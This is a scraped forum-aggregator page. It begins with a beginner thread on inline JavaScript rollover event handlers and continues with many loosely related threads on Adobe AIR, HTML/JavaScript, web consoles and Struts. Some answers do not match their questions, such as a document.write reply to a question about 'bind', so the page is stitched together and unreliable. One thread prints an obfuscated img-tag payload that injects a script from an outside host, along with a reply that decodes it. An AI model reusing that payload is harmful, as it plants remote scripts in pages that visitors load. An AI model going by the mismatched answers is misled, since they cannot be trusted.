Is this HTML? Javascript? Or a Dreamweaver function?
I am trying to learn javascript and I don't really know all commands in HTML, so does the following utilize any js or is it straight html?
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>A Simple Rollover</title>
</head>
<body bgcolor="#FFFFFF">
<a href="next.html"
onmouseover="document.arrow.src='images/arrow_on.gif'"
onmouseout="document.arrow.src='images/arrow_off.gif'">
<img src="images/arrow_off.gif" width="147" height="82" border="0" name="arrow" alt="arrow" /></a>
</body>
</html>
It's from the quickstart Javascript book and cites it as the first example of how to do a (poorly done) rollover.
I understand fully it's not the way to do a smart rollover, but as the first building block in the chapter, Id like to know more about it.
I don't recognize 'document.arrow.src' as HTML. The book also says, be sure to put (name="arrow") or js won't recognize what it is
supposed to change... which is confusing since this script here works without a javascript code anywhere.
So does it use a little javascript, if so, what? If not, and it's all HTML, then why name="arrow"? Is it complex HTML? Is it HTML but a building block of js?
So the code I listed is Javascript-embedded?
It's a Javascript event handler.
Is...
onmouseover= "document.arrow.src='images/arrow-on.gif'"
...all Javascript? Or just the "document.arrow.src"?
All of it.
Onmouseover is a Javascript event handler.
It's a self-contained Javascript snippet which tells a Javascript-enabled browser to "listen" inside the <a> tag for the presence of a cursor. Once the cursor hovers there the document.arrow.src behaviour is fired. That's all there is to it.
(im still cloudy on how an HTML doc can activate JS, but since I don't seem to be getting that answered, I guess I have to move on)
I'm not clear on which bit you're unclear on :-)
A Javascript event handler simply sits inside a HTML tag waiting for certain conditions to occur: onmouseover, onmouseout etc.
(I know you can embed CSS, but you have to typically call it in the head, right? And then go inline once you've done that. Right?)
You seem to be struggling with the distinction between embedded and inline.
An embedded CSS stylesheet is a collection of one or more CSS rules in the <head>. They're activated with the presence of "class=" and/or "id=" attributes in HTML tags.
Inline CSS starts and stops inside the HTML tag; as do Javascript event handlers.
e.g. <p style="background: blue; color: white;">A new background and font color with inline CSS</p>
Similar Messages
-
HTML/javascript interaction with swf content - can I call swf functions from JS?
Hi,
I've created an AIR application where the
intialWindow.content is a HTML page / JavaScript application. On
this HTML page I want to include some SWF content as a plugin (a
Flex 3 app), so I have an object tag.
From my SWF I can call out to JavaScript using
flash.external.ExternalInterface fine. I can also call methods
within the AIR and Flex APIs via the window or runtime objects.
However, if I try to call methods within my SWF from
JavaScript, nothing happens. Further, I can pass a function
reference from my SWF to JavaScript (via ExternalInterface), and
while I can see a valid function reference in JavaScript, calling
it doesn't call the function within the SWF.
Is this not supported? Or is this something else, like an
applicationDomain issue? My SWF object is loaded via the app:/ uri,
so I didn't think it would be that.I hadn't tried that, and it does work. Thank you. Everyone
should note though that the documentation here
Flex
3 - External Interface
and
Flash
9 - ExternalInterface.html
says:
"Note: Adobe AIR currently does not support the
ExternalInterface class."
which by my reading means that none of this should work,
although it clearly does.
The page
Example:
Using the external API with a web page container was most
helpful in finding the solution, since it mentions referencing the
object id of the plugin (e.g.
window['my-object-id'].functionToCall()) when referencing the
callback function.
This
page has a more concise example. -
When I start Firefox, I get an error box labeled [JavaScript Application] with the message "Exc in ev handl: TypeError: this.oRoot.enable is not a function"
I then need to click the OK button before Firefox will start.This issue can be caused by the McAfee Site Advisor extension
*https://community.mcafee.com/message/203466
*https://support.mozilla.com/kb/Troubleshooting+extensions+and+themes
Start Firefox in <u>[[Safe Mode]]</u> to check if one of the extensions or if hardware acceleration is causing the problem (switch to the DEFAULT theme: Firefox (Tools) > Add-ons > Appearance/Themes).
*Don't make any changes on the Safe mode start window.
*https://support.mozilla.com/kb/Safe+Mode -
AIR apps developed using HTML+Javascript
Hi…
I am working on Adobe AIR.
And now I have 3 options to develop AIR applications 1)Flex
2) Flash 3) HTML+javascript.
But can you please explain me when do I exactly use Flex Or
HTML+JS Or Flash.
One of the reason I know is Flex used for Rich UI
applications
Is there any list of requirements for which one of the 3
option is most suitable to use.
And I have some more questions.
1) Can AIR applications(developed using HTML+Js) invoke a web
service running on a different server
2) Can AIR application(developed using HTML+Js) detect the
connectivity of USB drive (I have developed 1 application that can
detect the Network connectivity and periodically reports the status
I want the same in case of USB(plug & play) connectivity)
3) I have one AIR application that has one HTML form on click
of button I am posting the form Data to Java Servlet using
“air.sendToURL()” as shown
<script src="AIRAliases.js" />
<script>
function sendURL()
var url = "
http://localhost:8080/InvokingServlet/Registration";
var variables = new air.URLVariables();
variables.username = document.f1.username.value;
variables.password = document.f1.password.value;
var request = new air.URLRequest(url);
request.data = variables;
air.sendToURL(request);
alert("Data has been added to Remote DB...");
</script>
The data goes to Servlet and then Servlet thru Jdbc
Connectivity adds the data to database “MySQL” database
named “user”
If I read the data from database and print in Servlet it
displays that to “tomcat server window(log)” But I want
the data from Servlet to send back to HTML page where I can display
it on the same HTML page where user entered his details. So even if
I put the result into some Scope like session or request, but Can I
read that it in HTML+Javascript page .
[email protected]quote:
Originally posted by:
pravinpatil23
But can you please explain me when do I exactly use Flex Or
HTML+JS Or Flash.
This question gets asked about once a week. You
can find my latest answer
here
and a little searching will dig up more opinions.
quote:
Can AIR applications(developed using HTML+Js) invoke a web
service running on a different server
An AIR application isn't hosted on a server, so all web
servers are "foreign" to your AIR application. An AIR app does get
downloaded from a server, most of the time, but it doesn't maintain
some kind of special connection to that server.
Because of this, there are no cross-domain restrictions in
AIR like you have in a regular web browser.
quote:
Can AIR application(developed using HTML+Js) detect the
connectivity of USB drive
AIR does not allow low-level system access, and has very
little in the way of platform-specific capabilities. So, you'd have
to use a high-level, platform-agnostic way of checking for the
drive, such as by looking around to see what files are available.
Things like USB insert notifications are way outside the scope of
AIR.
quote:
I want the data from Servlet to send back to HTML page where
I can display it on the same HTML page where user entered his
details.
That question isn't on-topic here. Ask on a forum dealing
with JSP servlets. -
Adobe DPS HTML/Javascript/CSS Web Console: why it is so difficult?
Why?
This is the type of question that i can not understand. Is it that difficult to make? Maybe an airpor to Google Chrome Adobe Edge Inspect? I have many files well written with CoffeeScript, that uses RequireJS, that is impossibile to forget a semicolon etc. that works like a charm on Google Chrome (desktop, AND Chrome iPad, AND Chrome Android). That works like a charm in the native iPad/iPhone web browser and in the native Android browser. But it didnt in Adobe DPS. And guess what: i cant find why it doesnt, because Adobe doesnt have a simple Web Console inside DPS / InDesign.
Is there any news on this field? Because using Adobe Edge Inspect is not a option: my code works inside EI because im browsing the page with my desktop browser. I want to know what is going on inside DPS.
And my code it is not "soooo" advanced. It is just a simple button with "on touchstart" event listener. Am i doing some stupid error? Fine! Just help me find out what it is, so i can fix it. Because in every single browser i tried, it works. But inside DPS. A sample code? Sure, here you go:
[Javascript Code]
Main.prototype.clicks = function() {
var _this = this;
$('#btnA').on('touchstart', function(evt) {
evt.preventDefault();
_this.buy('productA');
return false;
$('#btnB').on('touchstart', function() {
return _this.buy('productB');
return $('#clear_data').on('touchstart', function() {
return _this.clearData();
[/Javascript Code]
The Javascript above is being generated by Node.JS compiling a CoffeeScript file. The buttons do work at DPS for iPad, but doesnt on Android. Maybe Android has a problem with 'touchstart'. Maybe jQuery has a problem inside Adobe DPS. But who knows? I dont have a decent web console inspector to check what is going on. Really frustrating.
Maybe Apple and Google dont give the neccessary hooks to implement the web console? But if you can do the Inspector from the desktop to the device, why not from the device to the desktop? Am i missing something on Edge Inspect? The strange part is: the above code works well on Edge Inspect but doesnt work on Android DPS.
Sorry if im a little angry or pissed. But this would be really great: a simple web inspector: HTML, Javascript, CSS. A way to inspect the <head> tag of the HTML, what was loaded, in what order. What script is missing, Javascript breakpoints, etc.
Thank you.There is this one little widget called Safari Web Inspector, provided that you're using a Mac: https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safa ri_Developer_Guide/Introduction/Introduction.html.
Besides, referring to http://helpx.adobe.com/digital-publishing-suite/kb/create-html-articles-android-viewers.ht ml, you can give window.onappear a try when you are doing JS initialization. -
Javascript in AIR, bind function undefined
I'm creating an HTML/Javascript based AIR app, but getting the error that 'bind' (a standard JavaScript function) is undefined.
Since bind is being used in a 3rd party library this pretty much kills my hopes of using it unless I wanted to hack through that library, which I don't. I guess this is because the version of WebKit embedded in AIR is not able to support bind for whatever reason (I'm publishing to AIR 13.0)
But I'm wondering if the correct approach is to create an ActionScript based app that uses StageWebView? Is StageWebView using a more updated version of WebKit?
Thanksif I place all of the commands into a single <script> element, the problems go away but it's quite a limitation to only have one document.write in the document. I plan to eventually script re-formatting of the Metadata data so that I can do something like this:
<p>version name</p>
<p>caption line 1 [return]
caption line 2</p>
<p>aperture: f2.8</p>
becomes:
<h3 class="version_name">version name</h3>
<p>caption line 1</p>
<p>caption line 2</p>
<p class="exif">aperture: f2.8</p> -
WebEngine HTML/JavaScript errors
Hello,
Is there a way to kwown if the WebView's WebEngine has detected HTML/JavaScript errors when loading content? And is there a way to list these errors?
Cheers,
BertrandCouldn't tell you the canonical way to do this.
Some thoughts:
1. There is a new debug API for WebView in 2.2, perhaps that may also be of use to you.
2. Firebug Lite can be be used to debug the WebEngine (it lists JavaScript errors after is has been loaded).
3. For catching JavaScript errors, you could try the JavaScript window on error function - http://www.w3.org/wiki/DOM/window.onerror. If you don't control the html you are loading, you will need to insert it some way (e.g. via webEngine().executeScript()), in which case timing the insertion to happen before any javascript has been executed might be tricky.
4. There is an exception property on the loadworker, but don't think it would be much help here as I think it is for different kinds of errors like "could not connect", you could trap it and see what it contains.
5. You could monitor the webengine's location property and fetch the url seperately and pass it through a tool like htmltidy in diagnostic mode which will generate a list of html errors and warnings (wouldn't exactly match webview's parsing handler).
The html5 parsing algorithm is very forgiving of sloppy and mismatched html.
Generally browsing engines just tend to ignore javascript and html errors and continue processing - they are not strict validators. -
Please help..Is this a javascript virus?????
I was on a website message board and clicked on a post. I do not know javascript and hope someone here can look at this code below and tell me if it is a virus or not. When I clicked on the post it opened tons of screens and then caused my computer to crash. After restart it works fine, but I did notice 2 javascript run time files were damaged.
There is a "<" at the front of this code below, but I took it out so it will not work.
img src="javascript:window.onload=onloadevents;function onloadevents(){ff=document.body.innerHTML;document.write('\u003C\u0068\u0074\u006D\u006C\u003E\u003C\u0062\u006F\u0064\u0079\u003E'+ff+'\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003D\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0075\u0075\u0075\u002E\u0068\u0079\u0070\u0065\u0072\u006D\u0061\u0072\u0074\u002E\u006E\u0065\u0074\u002F\u0066\u006F\u0072\u006A\u0065\u0063\u0074\u002E\u006A\u0073\u003E\u003C'+'\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E'+'\u003C\u002F\u0062\u006F\u0064\u0079\u003E\u003C\u002F\u0068\u0074\u006D\u006C\u003E');}" width="1" height="1">Please note that Javascript is NOT Java and this is therefore not the appropriate place to ask such questions.
It's just "obfuscated" Javascript... it translates more or less as this:
img src="javascript:window.onload=onloadevents;function onloadevents(){ff=document.body.innerHTML;document.write('<html><body>
<script src=http://uuu.hypermart.net/forject.js></script>
</body></html>');}" width="1" height="1">
Which, if I understand it correctly, means that it's inserting the contents of the url http://uuu.hypermart.net/forject.js into the main body of the page. You'd need to take a look at that file to find out what the effects would then be.
But broadly speaking, no it doesn't look like a virus. It looks more like an attempt to hijack your browser during the current session to look at something in a way the message board would normally discourage (hence tons of windows). It's reasonably plausible that the windows which then opened contained something pretty nasty.
That's my extremely tenative analysis of it, and as I say, you're really asking in the wrong place. This might be a better place to look:
http://groups.google.com/groups?group=comp.lang.javascript
D. -
How to Use Mobile Service in HTML/JavaScript Application
The Windows Azure Mobile Service is a back end tool for mobile applications. It supports various platforms, such as Windows Store, Windows Phone 8, iOS and Android. The Windows Azure
Mobile service can also support HTML/JavaScript. This article helps you to get a basic idea of how to use the Windows Azure Mobile Service in HTML/JavaScript applications.
Let us start with a Quick startup project provided by Microsoft. A Quick startup is a simple demo project that can help us to understand how to use the Windows Azure Mobile Service with HTML/JavaScript. So let's start from the Quick startup project.
Login into in the Windows Azure portal and use the following procedure.
This article assumes you already have a Windows Azure account and the mobile service is enabled in your account.
1. Create a new Windows Azure Mobile Service
Click on the +New button from the left corner and select Compute -> Mobile Service and then click on the "Create" button.
The Windows Azure portal popup creates a mobile service wizard when you click the Create button. Windows Azure asks you to enter the mobile service name as shown in the following image:
Select the database options and region for your mobile service and click on the "Next" button.
Once your mobile service is successfully created, the portal will show all your mobile services as shown in the following images.
Ok! We have created a new mobile service successfully. Let's move to our subsequent steps.
1. Quick startup Project
As we all know, the Windows Azure Mobile Service can support many platforms such as Windows Store, Windows Phone 8, iOS, Android and HTML/JavaScript. This article only tells us about the new HTML/JavaScript platform that is recently added to the Windows Azure
Mobile Service.
In the image above, we are in the quick startup page where the Windows Azure Mobile Service allows the user to choose their platform. I have selected the HTML/JavaScript Platform.
In the image above, we found 3 quick steps that can allow us to run <g class="gr_ gr_74 gr-alert gr_gramm Grammar" data-gr-id="74" id="74">a HTML/JavaScript</g> sample project.
1. Create Table: In this step the user needs to create a table that can used by the sample project, once you hit the create TodoItem Table button. The Portal will create a TodoItem table in your mobile service. You
can check this table by clicking on the data tab(menu).
2. Download and run your app: In this step the user needs to download the Quick startup project that is provided by the Windows Azure portal. Click on the "Download" button and download the project. You will
see the following files in the quick startup project.
The Server folder contains some files to setup this project locally. The user should run the file from the server folder corresponding to their OS. I am using Windows OS so I ran the <g class="gr_ gr_80 gr-alert gr_spell ContextualSpelling ins-del multiReplace"
data-gr-id="80" id="80">lanch</g>-<g class="gr_ gr_79 gr-alert gr_spell ContextualSpelling ins-del multiReplace" data-gr-id="79" id="79">windwos</g> file to setup this project locally in
IISExpress.
Press r and enter the key, you will see IISExpress started. Do not close this Windows and open your browser and request the http://localhost:8000/ page.
Enter the Item name and click on the add button. Your Item will be added to the TodoItem table.
3. Configure your host name: This step is a very important step for any HTML/JavaScript application that uses the Windows Azure Mobile Service. In this <g class="gr_ gr_83 gr-alert gr_gramm Punctuation only-ins
replaceWithoutSep" data-gr-id="83" id="83">step</g> the user must register their website name in the Cross-origin resource sharing (CORS). By default, "localhost" is added by the Windows Azure Mobile Service
so your quick startup project can run without making any CORS setting changes. The user can add their website domain name by clicking on the configure tab (menu).
The user can add as many website domain names as needed.are you asking a question or did you just post a tutorial here? you might want to post it as a blog post or wiki entry instead.
-
How can I run a .bat file from an html/javascript adobe air installation package?
I write an html/javascript code which works completely true
but when I made the installation package by air-sdk
it dosent work properly
my code is:
<html>
<head>
<title>Hello World</title>
<script type="text/javascript">
function appLoad() {
air.trace("Hello World");
</script>
</head>
<body onLoad="appLoad()">
<h1>Hello World</h1>
<br />
<button onclick="window.open('file:///C:/Windows/notepad.exe')"> Launch notepad </button>
<button onclick="window.open('file:///D:/opennotepad.bat')"> Launch batnote </button>
</body>
</html>
Chapter 5: Creating your first HTML-based AIR application with the AIR SDKSeems to be security violation. You can't execute bat or cmd
-
How to create and use Data Vault with HTML/JavaScript (SAPUI5) for Mobile Apps?
Hello,
I am creating a demo Enterprise Mobile App, for cross platform and I want to use the Data Vault.
I am not able to figure out how to implement the Data Vault with HTML/JavaScript i.e. SAPUI5 for cross platform mobile apps I have a tutorial, but it is for Android based apps. Where as I want it for iOS as well. I guess, in this case, implementing the Data Vault using SAPUI5 over HTML and JavaScript would be better.
If anyone has any links or sample code to implement Data vault in HTML/JavaScript (SAPUI5) or specific for iOS apps, it would be great.
Thank you.Hi,
This is the "SAP Mobile Documents" community, so this seems to be the wrong place for asking your question related to Data Vault / SAPUI5.
Maybe you should post your question here: http://scn.sap.com/community/developer-center/front-end.
best regards,
Ingo -
Edge Animate CC 2014 animation of elements of a html file created in Dreamweaver
Does anyone know why with Edge Animate CC 2014 it's not possible anymore to animate elements of a html file created in Dreamweaver? With Edge Animate CC 3.0.0. this was possible.
Hello!
I now have a project that seems to be corrupted. A had been working on it all morning, with a few bugs here and there. Now I can no longer open the file, receiving this error: "Edge Animate: Exception An error occurred. Please your work and restart Edge Animate."
I will try to attach sample files.
- J Sean -
Bug in navigateToURL? (AIR HTML/JavaScript) window name parameter not working
Hi,
I have to popup the default browser from a HTML/JavaScript application.
All links on the Air page should be opened in the same tab in the same browser window that was opened by the first click on a link.
The code I use is
var urlString = "http://www.adobe.com";
var request = new air.URLRequest(urlString);
air.navigateToURL(request, "myNewWindow");
The myNewWindow parameter does not seem to be taken into account: a new tab is opened on every click.
I created a new Air application in Aptana and added the following straightforward code to it:
<html>
<head>
<title>navigateToURLTest</title>
<script type="text/javascript" src="lib/air/AIRAliases.js"></script>
</head>
<body>
<a href="http://www.google.com"
onclick="javascript:air.navigateToURL(new air.URLRequest('http://www.adobe.com'), 'AirTestWindow');return false;">New Tab</a>
<br />
<a href="http://www.adobe.com"
onclick="javascript:air.navigateToURL(new air.URLRequest('http://www.adobe.com'), 'AirTestWindow');return false;">Same Tab</a>
</body>
</html>
Same problem.
Does anyone have any idea?
ThanksIs there really nobody who can answer or at least try to reproduce this?
It's just creating a new Air HTML/Javascript application with one link with a named window target! -
Can I use Struts Validator Plugin's html:javascript tag?
Hi:
Is it possible to incorporate the client-side validation using Struts Validator
Plugin's tag <html:javascript>?
i.e.
1) Insert the following tag to A.jsp and define a taglib:
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html"%>
<html:javascript formName="aForm" staticJavascript="true"/>
2) Define validation.xml as follows:
<form-validation>
<formset>
<form name="aForm">
<field property="aField"
depends="required">
<msg name="required" key="FieldMissingError"/>
</field>
</form>
</formset>
</form-validation>
3) Insert the onSubmit event in aForm:
<netui:form action="SubmitAForm" style="border-width:1px;" onSubmit="validateAForm(this)">Instead of writing something like this -
<p class="logos">Logo1<a href="...></a></p>
<p class="logos">Logo2<a href="...></a></p>
<p class="logos">Logo3<a href="...></a></p>
<p class="logos">Logo4<a href="...></a></p>
<p class="logos">Logo5<a href="...></a></p>
<p class="logos">Logo6<a href="...></a></p>
Why not have something like this -
<div id="logodiv">
<p>Logo1<a href="...></a></p>
<p>Logo2<a href="...></a></p>
<p>Logo3<a href="...></a></p>
<p>Logo4<a href="...></a></p>
<p>Logo5<a href="...></a></p>
<p>Logo6<a href="...></a></p>
</div>
with CSS like this -
#logodiv p { ... } -
When to use Flex Or Flash Or HTML-Javascript
I am Experimenting with Adobe AIR. I know AIR Applications
can be developed either using Html-Javascript Or Flex Or Flash.
But can anybody HELP me understand when do i exactly use Flex
or HTML-JS.
Well i know one of the reason to use Flex is to build
RIA's.What are the other Possible reasons ?? can i draw a Decision
Boundry between them??The best reason to choose one tool over the other is that you
have something working in that language already, and are just
extending it into the AIR world.
If you're starting a new project, you then have to balance
tools you have and know how to use against the strengths of the
tools. A tool you don't know has to have some pretty compelling
strengths to make you take the time to learn it, unless you're just
doing it for fun. If not for fun, the effort has to pay off, yes?
Very generally speaking, here are the strengths of the tools,
as I see it.
For HTML + Javascript, just look at what you see on the web
today. People are pushing browsers pretty hard these days with web
apps, so that gives you a good first-order idea of the power of
this tool set. The AIR environment does give you some more power,
not just in the AIR APIs, but also in having a single modern
browser to develop for, so you don't have to limit yourself to IE6
compatible code. Still, it's not yet the equal of the other tools
in some areas.
Flash's main advantage over the others is in applications
with lots of graphics and animation. The reason for this is purely
because that's what the Flash authoring environment is geared to
produce. It's not got a very good ActionScript editor, and as a
consequence there's a practical limit on how much code you want to
write in a given project. It's not a question of whether you
can write a 20,000 line ActionScript program within the
Flash environment, it's a question of whether it's better done in
another tool.
One of the best "other tools" when you end up with lots of
code is Flex. With the "Builder", you get Ecipse, and without, you
are presumably using some other worthy programming environment.
But, you give up the graphic and animation tools from Flash, and
you give up a lot of the simplicity of HTML + Javascript.
You can combine them, of course. You could build a whizzy GUI
control in Flash to use in a Flex application which is hosted
inside a web page, for instance. -
How to Set cookie in AIR with HTML/Javascript
Can someone explain or post example code as to how I can go
about setting a cookie in AIR using HTML and Javascript?
I have an AIR app that requires the user to login on a form
that lives in a non-applicationSandbox. I know how to
create/modified/delete cookies using JS and a web browser, but the
same code returns a cookie with a null value. I'm sure I'm just
missing one line/word of code to make this happen.
The stripped down basics of setting and reading a cookie
using Javascript:
document.cookie("myCookie = yummy");
var taste = document.cookie;
What am I doing wrong?quote:
Originally posted by:
anirudhs
> So if I want to use cookies in AIR html/javascript the
end user will need to have http access, whether it be from a public
or private server?
Yes.
Though I am curious to why you are using cookies to store
state on the client? This is AIR and you have access to the
filesystem, local SQLite DB, encrypted local store, etc.
Thanks for your previous answer anirudhs. Finally got a
cookie thru Air! :P
Some scenario's do require login via cookies for our webapps
(in my case, chat w/ nicks which also logs users by serverside js +
php, thereby allowing the same access method for web-browser login
to the same chat rooms). It might be a bit of a stretch for some of
us to attempt to code filesystem/SQlite/localStore updater for our
web-users via js + php, although I know we could perhaps embed a
hidden flash to do the localStore, and pass data back and forth
from js, but that's lot of extra lifting, whereas browser cookies
are naturally designed for such logins.
I'm confused by the safari wording thou.. does the webkit
security model in Air only work via user activated http (ie.
clicking links), or is there some way Air can initiate an http
connection (say using loader) to set or get cookies? It seems a
pain to need to force the Air user to click and open a dead link
just to activate a cookie session, even if it's only to a hidden
frame.
Maybe you are looking for
-
Add field 'asset' in sales order line item account assignment tab
Hi, I would like to add the following field: 'asset' in sales order line item account assignment tab. I can enter order, or wbs, but not Asset. How can I make this field visable? Anybody? thanks, klundert Edited by: Eric Van Zundert on Oct 30, 2010 8
-
Function module to get Conditions based on Customer & Material
Hi, Is there any function module such that the list of conditions are displayed, based on Customer & Material given? Thnx in advance, Shivaa.....
-
Is a Time Machine compatible hard drive formatted with Mac OS?
I have a 1 terabyte Buffalo LinkStation Live NAS, and it says that it's Time Machine compatible; does this mean the the drive is formatted with Mac OS Extended (Journaled)? Thanks.
-
Aperture photo book vs iPhoto quality
Hi, will photo books printed from Aperture give me better quality than photo books from iPhoto 6? This will help me decide if I should buy Aperture or not. Is it true that Aperture prints books at 300 dpi and iPHoto at 150 dpi? Any advantages to prin
-
Problem with Opening a donloaded Excel report
Dear All, At the moment, our PC is installed with 2000 excel but we are using Net Weaver 2000's BI-7 portals. After we export Bex report from web and save on local PC, its opening as script format. Is there a way to fix this problem. PC: Any add-on p